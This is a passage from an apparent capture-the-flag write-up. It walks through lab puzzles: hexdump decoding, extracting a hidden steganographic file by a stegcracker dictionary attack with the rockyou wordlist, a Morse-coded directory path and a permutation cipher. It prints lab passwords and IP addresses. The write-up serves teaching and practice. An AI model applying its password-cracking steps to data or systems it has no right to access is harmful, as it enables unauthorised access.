class=\"m\">4765<\/span><span class=\"w\"> <\/span>726d<span class=\"w\"> <\/span>616e<span class=\"w\"> <\/span>n<span class=\"w\"> <\/span>writing<span class=\"w\"> <\/span>German\n<span class=\"m\">00000020<\/span>:<span class=\"w\"> <\/span><span class=\"m\">6963<\/span><span class=\"w\"> <\/span>2c20<span class=\"w\"> <\/span>526f<span class=\"w\"> <\/span>6d61<span class=\"w\"> <\/span>6e63<span class=\"w\"> <\/span>652c<span class=\"w\"> <\/span><span class=\"m\">2061<\/span><span class=\"w\"> <\/span>6e64<span class=\"w\"> <\/span>ic,<span class=\"w\"> <\/span>Romance,<span class=\"w\"> <\/span>and\n<span class=\"m\">00000030<\/span>:<span class=\"w\"> <\/span>206f<span class=\"w\"> <\/span><span class=\"m\">7468<\/span><span class=\"w\"> <\/span><span class=\"m\">6572<\/span><span class=\"w\"> <\/span>206c<span class=\"w\"> <\/span>616e<span class=\"w\"> <\/span><span class=\"m\">6775<\/span><span class=\"w\"> <\/span><span class=\"m\">6167<\/span><span class=\"w\"> <\/span><span class=\"m\">6573<\/span><span class=\"w\"> <\/span>other<span class=\"w\"> <\/span>languages\n<span class=\"m\">00000040<\/span>:<span class=\"w\"> <\/span><span class=\"m\">2066<\/span><span class=\"w\"> <\/span><span class=\"m\">6972<\/span><span class=\"w\"> <\/span><span class=\"m\">7374<\/span><span class=\"w\"> <\/span><span class=\"m\">2069<\/span><span class=\"w\"> <\/span>6e20<span class=\"w\"> <\/span><span class=\"m\">4575<\/span><span class=\"w\"> <\/span>726f<span class=\"w\"> <\/span><span class=\"m\">7065<\/span><span class=\"w\"> <\/span>first<span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span>Europe\n<span class=\"m\">00000050<\/span>:<span class=\"w\"> <\/span><span class=\"m\">2061<\/span><span class=\"w\"> <\/span>6e64<span class=\"w\"> <\/span><span class=\"m\">2074<\/span><span class=\"w\"> <\/span><span class=\"m\">6865<\/span><span class=\"w\"> <\/span>6e20<span class=\"w\"> <\/span>696e<span class=\"w\"> <\/span>206f<span class=\"w\"> <\/span><span class=\"m\">7468<\/span><span class=\"w\"> <\/span>and<span class=\"w\"> <\/span><span class=\"k\">then<\/span><span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span>oth\n<span class=\"m\">00000060<\/span>:<span class=\"w\"> <\/span><span class=\"m\">6572<\/span><span class=\"w\"> <\/span><span class=\"m\">2070<\/span><span class=\"w\"> <\/span><span class=\"m\">6172<\/span><span class=\"w\"> <\/span><span class=\"m\">7473<\/span><span class=\"w\"> <\/span>206f<span class=\"w\"> <\/span><span class=\"m\">6620<\/span><span class=\"w\"> <\/span><span class=\"m\">7468<\/span><span class=\"w\"> <\/span><span class=\"m\">6520<\/span><span class=\"w\"> <\/span>er<span class=\"w\"> <\/span>parts<span class=\"w\"> <\/span>of<span class=\"w\"> <\/span>the\n<span class=\"m\">00000070<\/span>:<span class=\"w\"> <\/span>776f<span class=\"w\"> <\/span>726c<span class=\"w\"> <\/span>642c<span class=\"w\"> <\/span><span class=\"m\">2061<\/span><span class=\"w\"> <\/span>6e64<span class=\"w\"> <\/span><span class=\"m\">2064<\/span><span class=\"w\"> <\/span><span class=\"m\">7565<\/span><span class=\"w\"> <\/span><span class=\"m\">2074<\/span><span class=\"w\"> <\/span>world,<span class=\"w\"> <\/span>and<span class=\"w\"> <\/span>due<span class=\"w\"> <\/span>t\n<span class=\"m\">00000080<\/span>:<span class=\"w\"> <\/span>6f20<span class=\"w\"> <\/span><span class=\"m\">6974<\/span><span class=\"w\"> <\/span><span class=\"m\">7320<\/span><span class=\"w\"> <\/span><span class=\"m\">7573<\/span><span class=\"w\"> <\/span><span class=\"m\">6520<\/span><span class=\"w\"> <\/span>696e<span class=\"w\"> <\/span><span class=\"m\">2052<\/span><span class=\"w\"> <\/span>6f6d<span class=\"w\"> <\/span>o<span class=\"w\"> <\/span>its<span class=\"w\"> <\/span>use<span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span>Rom\n<span class=\"m\">00000090<\/span>:<span class=\"w\"> <\/span>616e<span class=\"w\"> <\/span>697a<span class=\"w\"> <\/span>696e<span class=\"w\"> <\/span><span class=\"m\">6720<\/span><span class=\"w\"> <\/span><span class=\"m\">7772<\/span><span class=\"w\"> <\/span><span class=\"m\">6974<\/span><span class=\"w\"> <\/span>696e<span class=\"w\"> <\/span><span class=\"m\">6720<\/span><span class=\"w\"> <\/span>anizing<span class=\"w\"> <\/span>writing\n000000a0:<span class=\"w\"> <\/span>6f66<span class=\"w\"> <\/span>206f<span class=\"w\"> <\/span><span class=\"m\">7468<\/span><span class=\"w\"> <\/span><span class=\"m\">6572<\/span><span class=\"w\"> <\/span>206c<span class=\"w\"> <\/span>616e<span class=\"w\"> <\/span><span class=\"m\">6775<\/span><span class=\"w\"> <\/span><span class=\"m\">6167<\/span><span class=\"w\"> <\/span>of<span class=\"w\"> <\/span>other<span class=\"w\"> <\/span>languag\n000000b0:<span class=\"w\"> <\/span><span class=\"m\">6573<\/span><span class=\"w\"> <\/span>2c20<span class=\"w\"> <\/span><span class=\"m\">6974<\/span><span class=\"w\"> <\/span><span class=\"m\">2068<\/span><span class=\"w\"> <\/span><span class=\"m\">6173<\/span><span class=\"w\"> <\/span><span class=\"m\">2062<\/span><span class=\"w\"> <\/span><span class=\"m\">6563<\/span><span class=\"w\"> <\/span>6f6d<span class=\"w\"> <\/span>es,<span class=\"w\"> <\/span>it<span class=\"w\"> <\/span>has<span class=\"w\"> <\/span>becom\n000000c0:<span class=\"w\"> <\/span><span class=\"m\">6520<\/span><span class=\"w\"> <\/span><span class=\"m\">7769<\/span><span class=\"w\"> <\/span><span class=\"m\">6465<\/span><span class=\"w\"> <\/span><span class=\"m\">7370<\/span><span class=\"w\"> <\/span><span class=\"m\">7265<\/span><span class=\"w\"> <\/span><span class=\"m\">6164<\/span><span class=\"w\"> <\/span><span class=\"m\">2028<\/span><span class=\"w\"> <\/span><span class=\"m\">7365<\/span><span class=\"w\"> <\/span>e<span class=\"w\"> <\/span>widespread<span class=\"w\"> <\/span><span class=\"o\">(<\/span>se\n000000d0:<span class=\"w\"> <\/span><span class=\"m\">6520<\/span><span class=\"w\"> <\/span>4c61<span class=\"w\"> <\/span><span class=\"m\">7469<\/span><span class=\"w\"> <\/span>6e20<span class=\"w\"> <\/span><span class=\"m\">7363<\/span><span class=\"w\"> <\/span><span class=\"m\">7269<\/span><span class=\"w\"> <\/span><span class=\"m\">7074<\/span><span class=\"w\"> <\/span>292e<span class=\"w\"> <\/span>e<span class=\"w\"> <\/span>Latin<span class=\"w\"> <\/span>script<span class=\"o\">)<\/span>.\n000000e0:<span class=\"w\"> <\/span><span class=\"m\">2049<\/span><span class=\"w\"> <\/span><span class=\"m\">7420<\/span><span class=\"w\"> <\/span><span class=\"m\">6973<\/span><span class=\"w\"> <\/span><span class=\"m\">2061<\/span><span class=\"w\"> <\/span>6c73<span class=\"w\"> <\/span>6f20<span class=\"w\"> <\/span><span class=\"m\">7573<\/span><span class=\"w\"> <\/span><span class=\"m\">6564<\/span><span class=\"w\"> <\/span>It<span class=\"w\"> <\/span>is<span class=\"w\"> <\/span>also<span class=\"w\"> <\/span>used\n000000f0:<span class=\"w\"> <\/span>206f<span class=\"w\"> <\/span><span class=\"m\">6666<\/span><span class=\"w\"> <\/span><span class=\"m\">6963<\/span><span class=\"w\"> <\/span><span class=\"m\">6961<\/span><span class=\"w\"> <\/span>6c6c<span class=\"w\"> <\/span><span class=\"m\">7920<\/span><span class=\"w\"> <\/span>696e<span class=\"w\"> <\/span><span class=\"m\">2043<\/span><span class=\"w\"> <\/span>officially<span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span>C\n<span class=\"m\">00000100<\/span>:<span class=\"w\"> <\/span><span class=\"m\">6869<\/span><span class=\"w\"> <\/span>6e61<span class=\"w\"> <\/span><span class=\"m\">2028<\/span><span class=\"w\"> <\/span><span class=\"m\">7365<\/span><span class=\"w\"> <\/span><span class=\"m\">7061<\/span><span class=\"w\"> <\/span><span class=\"m\">7261<\/span><span class=\"w\"> <\/span><span class=\"m\">7465<\/span><span class=\"w\"> <\/span><span class=\"m\">2066<\/span><span class=\"w\"> <\/span>hina<span class=\"w\"> <\/span><span class=\"o\">(<\/span>separate<span class=\"w\"> <\/span>f\n<span class=\"m\">00000110<\/span>:<span class=\"w\"> <\/span>726f<span class=\"w\"> <\/span>6d20<span class=\"w\"> <\/span><span class=\"m\">6974<\/span><span class=\"w\"> <\/span><span class=\"m\">7320<\/span><span class=\"w\"> <\/span><span class=\"m\">6964<\/span><span class=\"w\"> <\/span>656f<span class=\"w\"> <\/span><span class=\"m\">6772<\/span><span class=\"w\"> <\/span><span class=\"m\">6170<\/span><span class=\"w\"> <\/span>rom<span class=\"w\"> <\/span>its<span class=\"w\"> <\/span>ideograp\n<span class=\"m\">00000120<\/span>:<span class=\"w\"> <\/span><span class=\"m\">6869<\/span><span class=\"w\"> <\/span><span class=\"m\">6320<\/span><span class=\"w\"> <\/span><span class=\"m\">7772<\/span><span class=\"w\"> <\/span><span class=\"m\">6974<\/span><span class=\"w\"> <\/span>696e<span class=\"w\"> <\/span><span class=\"m\">6729<\/span><span class=\"w\"> <\/span><span class=\"m\">2061<\/span><span class=\"w\"> <\/span>6e64<span class=\"w\"> <\/span>hic<span class=\"w\"> <\/span>writing<span class=\"o\">)<\/span><span class=\"w\"> <\/span>and\n<span class=\"m\">00000130<\/span>:<span class=\"w\"> <\/span><span class=\"m\">2068<\/span><span class=\"w\"> <\/span><span class=\"m\">6173<\/span><span class=\"w\"> <\/span><span class=\"m\">2062<\/span><span class=\"w\"> <\/span><span class=\"m\">6565<\/span><span class=\"w\"> <\/span>6e20<span class=\"w\"> <\/span><span class=\"m\">6164<\/span><span class=\"w\"> <\/span>6f70<span class=\"w\"> <\/span><span class=\"m\">7465<\/span><span class=\"w\"> <\/span>has<span class=\"w\"> <\/span>been<span class=\"w\"> <\/span>adopte\n<span class=\"m\">00000140<\/span>:<span class=\"w\"> <\/span><span class=\"m\">6420<\/span><span class=\"w\"> <\/span><span class=\"m\">6279<\/span><span class=\"w\"> <\/span><span class=\"m\">2042<\/span><span class=\"w\"> <\/span>616c<span class=\"w\"> <\/span><span class=\"m\">7469<\/span><span class=\"w\"> <\/span><span class=\"m\">6320<\/span><span class=\"w\"> <\/span>616e<span class=\"w\"> <\/span><span class=\"m\">6420<\/span><span class=\"w\"> <\/span>d<span class=\"w\"> <\/span>by<span class=\"w\"> <\/span>Baltic<span class=\"w\"> <\/span>and\n<span class=\"m\">00000150<\/span>:<span class=\"w\"> <\/span>736f<span class=\"w\"> <\/span>6d65<span class=\"w\"> <\/span>20ef<span class=\"w\"> <\/span>bcb3<span class=\"w\"> <\/span>6c61<span class=\"w\"> <\/span><span class=\"m\">7669<\/span><span class=\"w\"> <\/span><span class=\"m\">6320<\/span><span class=\"w\"> <\/span><span class=\"m\">7374<\/span><span class=\"w\"> <\/span>some<span class=\"w\"> <\/span>\u2026lavic<span class=\"w\"> <\/span>st\n<span class=\"m\">00000160<\/span>:<span class=\"w\"> <\/span><span class=\"m\">6174<\/span><span class=\"w\"> <\/span><span class=\"m\">6573<\/span><span class=\"w\"> <\/span>2e0a<span class=\"w\"> <\/span>0aef<span class=\"w\"> <\/span>bcb4<span class=\"w\"> <\/span><span class=\"m\">6865<\/span><span class=\"w\"> <\/span>204c<span class=\"w\"> <\/span><span class=\"m\">6174<\/span><span class=\"w\"> <\/span>ates\u2026\u2026he<span class=\"w\"> <\/span>Lat\n<\/code><\/pre><\/div>\n\n<p>When combining the characters, we get the word \"<strong>star<\/strong>\". Trying this as the password for the next IP, <code>172.20.87.10<\/code>, we get in.<\/p>\n<h3>Challenge 3: Image Encoding with a\u00a0Twist<\/h3>\n<p>Logging into the next machine, we find only an image in the root directory. The tools we need are not on the honeypot, so we have to analyze the image locally. Due to a minor issue experienced by the CTF organizers, it turned out that the image could not be downloaded with standard tools like <code>scp<\/code> or <code>rsync<\/code>. No problem! We can exfiltrate the image as text. Just base64-encode it, copy the text to the local machine:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># base64 rainbow.jpg<\/span>\n\/9j\/2wBDAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQECAQEBAQEBAgICAgICAgICAgICAgID\nAwMDAwMDAwMDAwMDAwP\/2wBDAQEBAQEBAQIBAQIDAgICAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD\nAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwP\/wAARCAPwB38DAREAAhEBAxEB\/8QAHwAAAAcBAQEB\nAQAAAAAAAAAAAgMEBQYHCAEJAAoL\/8QARRAAAgICAgEDBAEEAQMDAAEVAQIDBAUGBxESABMhCBQi\nMRUWIzJBURckQgkzYSVScRg0Q2KBkSZTcic1RLE2gqFjotH\/xAAeAQABBQEBAQEBAAAAAAAAAAAE\nAQIDBQYHAAgJCv\/EAE8RAAICAAQEBAMHBAIBAgIAFwECAxEABBIhBTFB8BMiUWEGcYEUMpGhscHR\nI0Lh8QcVUiQzYggWckOCFyU0kqIJU7Jjc8ImNYPSVIST8v\/aAAwDAQACEQMRAD8A3nKBF4SSCH2B\n4gCOWGRPcjV4RYjQErFKyp10wIY9MSB61reg5\/Lp2cUl3vgmXxCIskaIviteYoFlH5kSNLAyEF\/F\niC\/6Ut5H4A7Ed4ksDY4IsyIPlvJ4oXJSuyx\/CdiGMCP8VUdntVYdn\/5I79Jpvfvv3x4teCJYo+3i\nUPCXhcSxzqkjCxITI0qQAE9kFlDeQAYjoHo+k0\/l339cMVyTp3N3z\/Hv\/OCZWYPBNG8oETmvOrFZ\n\u2026\n<\/code><\/pre><\/div>\n\n<p>... and locally decode it again:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"nb\">echo<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;\/9j\/2wBDAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB\u2026&#39;<\/span><span class=\"w\"> <\/span><span class=\"p\">|<\/span><span class=\"w\"> <\/span>base64<span class=\"w\"> <\/span>-d\n<\/code><\/pre><\/div>\n\n<p>Looking at the meta data in the image viewer of our choice, we find nothing of interest. But there\u2019s a commonly used catch in CTFs when it comes to images: <strong>Steganography<\/strong>! With <code>steghide<\/code> we can detect stego-encoded data:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>steghide<span class=\"w\"> <\/span>info<span class=\"w\"> <\/span>rainbow.jpg\n<span class=\"s2\">&quot;8Rm7xlH.jpg&quot;<\/span>:\n<span class=\"w\"> <\/span>format:<span class=\"w\"> <\/span>jpeg\n<span class=\"w\"> <\/span>capacity:<span class=\"w\"> <\/span><span class=\"m\">127<\/span>.4<span class=\"w\"> <\/span>KB\nTry<span class=\"w\"> <\/span>to<span class=\"w\"> <\/span>get<span class=\"w\"> <\/span>information<span class=\"w\"> <\/span>about<span class=\"w\"> <\/span>embedded<span class=\"w\"> <\/span>data<span class=\"w\"> <\/span>?<span class=\"w\"> <\/span><span class=\"o\">(<\/span>y\/n<span class=\"o\">)<\/span><span class=\"w\"> <\/span>y\nEnter<span class=\"w\"> <\/span>passphrase:\n<span class=\"w\"> <\/span>embedded<span class=\"w\"> <\/span>file<span class=\"w\"> <\/span><span class=\"s2\">&quot;steganopayload24853.txt&quot;<\/span>:\n<span class=\"w\"> <\/span>size:<span class=\"w\"> <\/span><span class=\"m\">34<\/span>.0<span class=\"w\"> <\/span>Byte\n<span class=\"w\"> <\/span>encrypted:<span class=\"w\"> <\/span>rijndael-128,<span class=\"w\"> <\/span>cbc\n<span class=\"w\"> <\/span>compressed:<span class=\"w\"> <\/span>yes\n<\/code><\/pre><\/div>\n\n<p>Bingo! Assuming the encryption key is weak, we can launch a dictionary attack to find the keys. For this, I\u2019ll use <code>stregcracker<\/code> and a very common wordlist:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>stegcracker<span class=\"w\"> <\/span>rainbow.jpg<span class=\"w\"> <\/span>WordLists\/rockyou.txt\n<\/code><\/pre><\/div>\n\n<p>As soon as we found the key, we can find the contents in the same directory as <code>rainbow.jpg.out<\/code>:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>cat<span class=\"w\"> <\/span>rainbow.jpg.out\n<span class=\"m\">172<\/span>.20.87.11\nPassword:<span class=\"w\"> <\/span>LemonDrops\n<\/code><\/pre><\/div>\n\n<p>On to the next one!<\/p>\n<h3>Challenge 4: A Morse Brainteaser<\/h3>\n<p>In server #4 we find two kinds of directories, <code>_sheep<\/code>,\u00a0<code>.sheep<\/code> (easily to be overseen), and a <code>readme.txt<\/code>:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># cat readme.txt<\/span>\nI<span class=\"w\">   <\/span>herd<span class=\"w\">   <\/span>you<span class=\"w\"> <\/span>control<span class=\"w\"> <\/span>the<span class=\"w\"> <\/span>sheep\n\nA<span class=\"w\"> <\/span>._\nB<span class=\"w\"> <\/span>_...\nC<span class=\"w\"> <\/span>_._.\nD<span class=\"w\"> <\/span>_..\nE<span class=\"w\"> <\/span>.\nF<span class=\"w\"> <\/span>.._.\nG<span class=\"w\"> <\/span>__.\nH<span class=\"w\"> <\/span>....\nI<span class=\"w\"> <\/span>..\nJ<span class=\"w\"> <\/span>.___\nK<span class=\"w\"> <\/span>_._\nL<span class=\"w\"> <\/span>._..\nM<span class=\"w\"> <\/span>__\nN<span class=\"w\"> <\/span>_.\nO<span class=\"w\"> <\/span>___\nP<span class=\"w\"> <\/span>.__.\nQ<span class=\"w\"> <\/span>__._\nR<span class=\"w\"> <\/span>._.\nS<span class=\"w\"> <\/span>...\nT<span class=\"w\"> <\/span>_\nU<span class=\"w\"> <\/span>.._\nV<span class=\"w\"> <\/span>..._\nW<span class=\"w\"> <\/span>.__\nX<span class=\"w\"> <\/span>_.._\nY<span class=\"w\"> <\/span>_.__\nZ<span class=\"w\"> <\/span>__..\n<\/code><\/pre><\/div>\n\n<p>Punny. This took me a while to figure out, especially because <code>find<\/code> or <code>grep<\/code> are not available on the server. Both <code>sheep<\/code> directories have further nested directories, with <code>readme<\/code> files sporadically popping up. Enumerating all by hand would take far too much time. Bash scripting is not an option, because the server prevents us from using that, too. The path to the solution (literally) becomes obvious when you try to morse-encode the most obvious word in the first readme:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"nv\">HERD<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span>....<span class=\"w\"> <\/span>.<span class=\"w\"> <\/span>._.<span class=\"w\"> <\/span>_..\n<\/code><\/pre><\/div>\n\n<p>Following the path, respectively entering <code>_sheep<\/code> for <em>da\u2019s<\/em>, and\u00a0<code>.sheep<\/code> for <em>dit\u2019s<\/em>, we find a readme with the solution:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>cat<span class=\"w\"> <\/span>~\/.sheep\/.sheep\/.sheep\/.sheep\/.sheep\/.sheep\/_sheep\/.sheep\/_sheep\/.sheep\/.sheep\/readme.txt\n<span class=\"m\">172<\/span>.20.87.12\nPassword:<span class=\"w\"> <\/span>ChimneyTops\n<\/code><\/pre><\/div>\n\n<h3>Challenge 5: Weird Custom Encryption<\/h3>\n<p>In the fifth and last server, we find a single text file again:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># cat roundrobin.txt<\/span>\ntlChuoeln<span class=\"w\"> <\/span>lgbarlbauyte<span class=\"w\"> <\/span>ubslitaratdris<span class=\"w\"> <\/span>o<span class=\"w\"> <\/span>lnaesrm,eo<span class=\"w\"> <\/span>nya<span class=\"w\"> <\/span>o<span class=\"w\"> <\/span>dugr\u2019rovopeus<span class=\"w\"> <\/span>p<span class=\"w\"> <\/span>p<span class=\"w\"> <\/span>crohofiv<span class=\"w\"> <\/span>memnnee<span class=\"w\"> <\/span>dyyi<span class=\"w\"> <\/span>outumor-psssei<span class=\"w\"> <\/span>lzbfel<span class=\"w\"> <\/span>dua,e<span class=\"w\"> <\/span>wmbooirsrttdhlsyy<span class=\"w\"> <\/span>lciuhnlasllealcbetyni<span class=\"w\"> <\/span>gvseotrra<span class=\"w\"> <\/span>orau<span class=\"w\"> <\/span>nsld<span class=\"w\"> <\/span>e<span class=\"w\"> <\/span>omsroo<span class=\"w\"> <\/span>nlo<span class=\"w\"> <\/span>vmdenrdio<span class=\"w\"> <\/span>vptoshr<span class=\"w\"> <\/span>eoc<span class=\"w\"> <\/span>uhfsii<span class=\"w\"> <\/span>mfbntiehry<span class=\"w\"> <\/span>d<span class=\"w\"> <\/span>rsto<span class=\"w\"> <\/span>ouipnnsd<span class=\"w\"> <\/span>!tb\nhlYeuo<span class=\"w\"> <\/span>euo<span class=\"w\"> <\/span>rrb<span class=\"w\"> <\/span>diferirdn<span class=\"w\"> <\/span>sao<span class=\"w\"> <\/span>lfl<span class=\"w\"> <\/span>ucPllalusaesb<span class=\"w\"> <\/span>eyir<span class=\"w\"> <\/span>sis:nt<span class=\"w\"> <\/span>ea<span class=\"s2\">&quot;srb lilunee m tobhnie r ddgrseo&quot;<\/span>np\nusNs<span class=\"w\"> <\/span>o<span class=\"w\"> <\/span>cwSh<span class=\"w\"> <\/span>iigamoln<span class=\"w\"> <\/span>ietayo<span class=\"w\"> <\/span>ottfoh<span class=\"w\"> <\/span>pets<span class=\"w\"> <\/span>h<span class=\"w\"> <\/span>Weba<span class=\"w\"> <\/span>lltukhetr<span class=\"w\"> <\/span>hubrsiohru<span class=\"w\"> <\/span>dgfsha<span class=\"w\"> <\/span>mlWiuollrylk<span class=\"w\"> <\/span>as<span class=\"o\">(<\/span>bhTyou<span class=\"w\"> <\/span>prssdt<span class=\"w\"> <\/span>iasdrta<span class=\"w\"> <\/span>aelf<span class=\"o\">)<\/span>ef.m<span class=\"w\"> <\/span>otBnal<span class=\"w\"> <\/span>budlerebo<span class=\"w\"> <\/span>ipirsnd<span class=\"w\"> <\/span>sct<span class=\"w\"> <\/span>hhaierm<span class=\"w\"> <\/span>enp<span class=\"w\"> <\/span>eaoycn<span class=\"w\"> <\/span>kete<span class=\"w\"> <\/span>otop<span class=\"w\"> <\/span>fsh<span class=\"w\"> <\/span>atbchlkeui<span class=\"w\"> <\/span>enf<span class=\"w\"> <\/span>geb<span class=\"w\"> <\/span>wiv<span class=\"w\"> <\/span>ritdlhslr<span class=\"w\"> <\/span>aulgsuehl<span class=\"w\"> <\/span>l<span class=\"o\">(<\/span>gaiebfny<span class=\"w\"> <\/span>e<span class=\"w\"> <\/span>yrsoatu<span class=\"w\"> <\/span>a\u2019irrn<span class=\"w\"> <\/span>e<span class=\"w\"> <\/span>l<span class=\"w\"> <\/span>tenhmoeot<span class=\"w\"> <\/span>n<span class=\"w\"> <\/span>A<span class=\"w\"> <\/span>tmdhereroripecs<span class=\"w\"> <\/span>a<span class=\"w\"> <\/span>ascl.hr<span class=\"w\"> <\/span>ieTmahndeeyyy<span class=\"o\">)<\/span><span class=\"w\"> <\/span>htaaonvpdes<span class=\"w\"> <\/span>nbballmuueee<span class=\"w\"> <\/span>,<span class=\"w\"> <\/span>t<span class=\"w\"> <\/span>bhoiarrt<span class=\"w\"> <\/span>d<span class=\"w\"> <\/span>bssl<span class=\"w\"> <\/span>oulneug<span class=\"w\"> <\/span>l!\n<\/code><\/pre><\/div>\n\n<p>Checking out the character distribution, all looks like normal plain English:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>E<span class=\"w\"> <\/span><span class=\"m\">61<\/span>\u00d7<span class=\"w\"> <\/span><span class=\"m\">9<\/span>.81%\nO<span class=\"w\"> <\/span><span class=\"m\">50<\/span>\u00d7<span class=\"w\"> <\/span><span class=\"m\">8<\/span>.04%\nR<span class=\"w\"> <\/span><span class=\"m\">48<\/span>\u00d7<span class=\"w\"> <\/span><span class=\"m\">7<\/span>.72%\nL<span class=\"w\"> <\/span><span class=\"m\">47<\/span>\u00d7<span class=\"w\"> <\/span><span class=\"m\">7<\/span>.56%\nS<span class=\"w\"> <\/span><span class=\"m\">45<\/span>\u00d7<span class=\"w\"> <\/span><span class=\"m\">7<\/span>.23%\nT<span class=\"w\"> <\/span><span class=\"m\">41<\/span>\u00d7<span class=\"w\"> <\/span><span class=\"m\">6<\/span>.59%\nA<span class=\"w\"> <\/span><span class=\"m\">40<\/span>\u00d7<span class=\"w\"> <\/span><span class=\"m\">6<\/span>.43%\nI<span class=\"w\"> <\/span><span class=\"m\">37<\/span>\u00d7<span class=\"w\"> <\/span><span class=\"m\">5<\/span>.95%\nN<span class=\"w\"> <\/span><span class=\"m\">35<\/span>\u00d7<span class=\"w\"> <\/span><span class=\"m\">5<\/span>.63%\nU<span class=\"w\"> <\/span><span class=\"m\">33<\/span>\u00d7<span class=\"w\"> <\/span><span class=\"m\">5<\/span>.31%\nH<span class=\"w\"> <\/span><span class=\"m\">29<\/span>\u00d7<span class=\"w\"> <\/span><span class=\"m\">4<\/span>.66%\nB<span class=\"w\"> <\/span><span class=\"m\">26<\/span>\u00d7<span class=\"w\"> <\/span><span class=\"m\">4<\/span>.18%\nD<span class=\"w\"> <\/span><span class=\"m\">25<\/span>\u00d7<span class=\"w\"> <\/span><span class=\"m\">4<\/span>.02%\nY<span class=\"w\"> <\/span><span class=\"m\">19<\/span>\u00d7<span class=\"w\"> <\/span><span class=\"m\">3<\/span>.05%\nM<span class=\"w\"> <\/span><span class=\"m\">17<\/span>\u00d7<span class=\"w\"> <\/span><span class=\"m\">2<\/span>.73%\nP<span class=\"w\"> <\/span><span class=\"m\">15<\/span>\u00d7<span class=\"w\"> <\/span><span class=\"m\">2<\/span>.41%\nF<span class=\"w\"> <\/span><span class=\"m\">13<\/span>\u00d7<span class=\"w\"> <\/span><span class=\"m\">2<\/span>.09%\nC<span class=\"w\"> <\/span><span class=\"m\">13<\/span>\u00d7<span class=\"w\"> <\/span><span class=\"m\">2<\/span>.09%\nG<span class=\"w\"> <\/span><span class=\"m\">10<\/span>\u00d7<span class=\"w\"> <\/span><span class=\"m\">1<\/span>.61%\nV<span class=\"w\"> <\/span><span class=\"m\">7<\/span>\u00d7<span class=\"w\"> <\/span><span class=\"m\">1<\/span>.13%\nW<span class=\"w\"> <\/span><span class=\"m\">5<\/span>\u00d7<span class=\"w\"> <\/span><span class=\"m\">0<\/span>.8%\nK<span class=\"w\"> <\/span><span class=\"m\">4<\/span>\u00d7<span class=\"w\"> <\/span><span class=\"m\">0<\/span>.64%\nX<span class=\"w\"> <\/span><span class=\"m\">1<\/span>\u00d7<span class=\"w\"> <\/span><span class=\"m\">0<\/span>.16%\nZ<span class=\"w\"> <\/span><span class=\"m\">1<\/span>\u00d7<span class=\"w\"> <\/span><span class=\"m\">0<\/span>.16%\n<\/code><\/pre><\/div>\n\n<p>Trying out all rotation cyphers, we don\u2019t have any success. Maybe it\u2019s Vigen\u00e8re. We can find out with the Kasiski test:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>Repeated sequences:\nAES IRS EUO UOE\n<\/code><\/pre><\/div>\n\n<p>Analysing repeated length:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"m\">2<\/span><span class=\"w\"> <\/span>letter:3\n<span class=\"m\">4<\/span><span class=\"w\"> <\/span>letter:2\n<span class=\"m\">3<\/span><span class=\"w\"> <\/span>letter:1\n<span class=\"m\">5<\/span><span class=\"w\"> <\/span>letter:1\n<span class=\"m\">8<\/span><span class=\"w\"> <\/span>letter:1\n<span class=\"m\">10<\/span><span class=\"w\"> <\/span>letter:1\n<span class=\"m\">11<\/span><span class=\"w\"> <\/span>letter:1\n<\/code><\/pre><\/div>\n\n<p>This also does not look very promising. The last thing in my repository of knowledge about classical cryptography is permutation ciphers. Playing around with the ciphertext under certain assumtions (in this case I assumed that the word <em>Congratulations<\/em> is in there, based on the capital C we see in the first line), we can assemble the word with offsets 3, 6, 9, 12,\u00a0\u2026Got it. It\u2019s a permutation with even offsets, probably wrapping around the text. I wrote a little Python script to do that for me:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"n\">ciphertext<\/span> <span class=\"o\">=<\/span> <span class=\"s2\">&quot;&quot;&quot;tlChuoeln lgbarlbauyte ubslitaratdris o lnaesrm,eo nya o dugr&#39;rovopeus p p crohofiv memnnee dyyi outumor-psssei lzbfel dua,e wmbooirsrttdhlsyy lciuhnlasllealcbetyni gvseotrra orau nsld e omsroo nlo vmdenrdio vptoshr eoc uhfsii mfbntiehry d rsto ouipnnsd !tb<\/span>\n<span class=\"s2\">hlYeuo euo rrb diferirdn sao lfl ucPllalusaesb eyir sis:nt ea&quot;srb lilunee m tobhnie r ddgrseo&quot;np<\/span>\n<span class=\"s2\">usNs o cwSh iigamoln ietayo ottfoh pets h Weba lltukhetr hubrsiohru dgfsha mlWiuollrylk as(bhTyou prssdt iasdrta aelf)ef.m otBnal budlerebo ipirsnd sct hhaierm enp eaoycn kete otop fsh atbchlkeui enf geb wiv ritdlhslr aulgsuehl l(gaiebfny e yrsoatu a&#39;irrn e l tenhmoeot n A tmdhereroripecs a ascl.hr ieTmahndeeyyy) htaaonvpdes nbballmuueee , t bhoiarrt d bssl oulneug l!&quot;&quot;&quot;<\/span>\n\n<span class=\"n\">i<\/span> <span class=\"o\">=<\/span> <span class=\"mi\">0<\/span>\n<span class=\"n\">res<\/span> <span class=\"o\">=<\/span> <span class=\"s2\">&quot;&quot;<\/span>\n\n<span 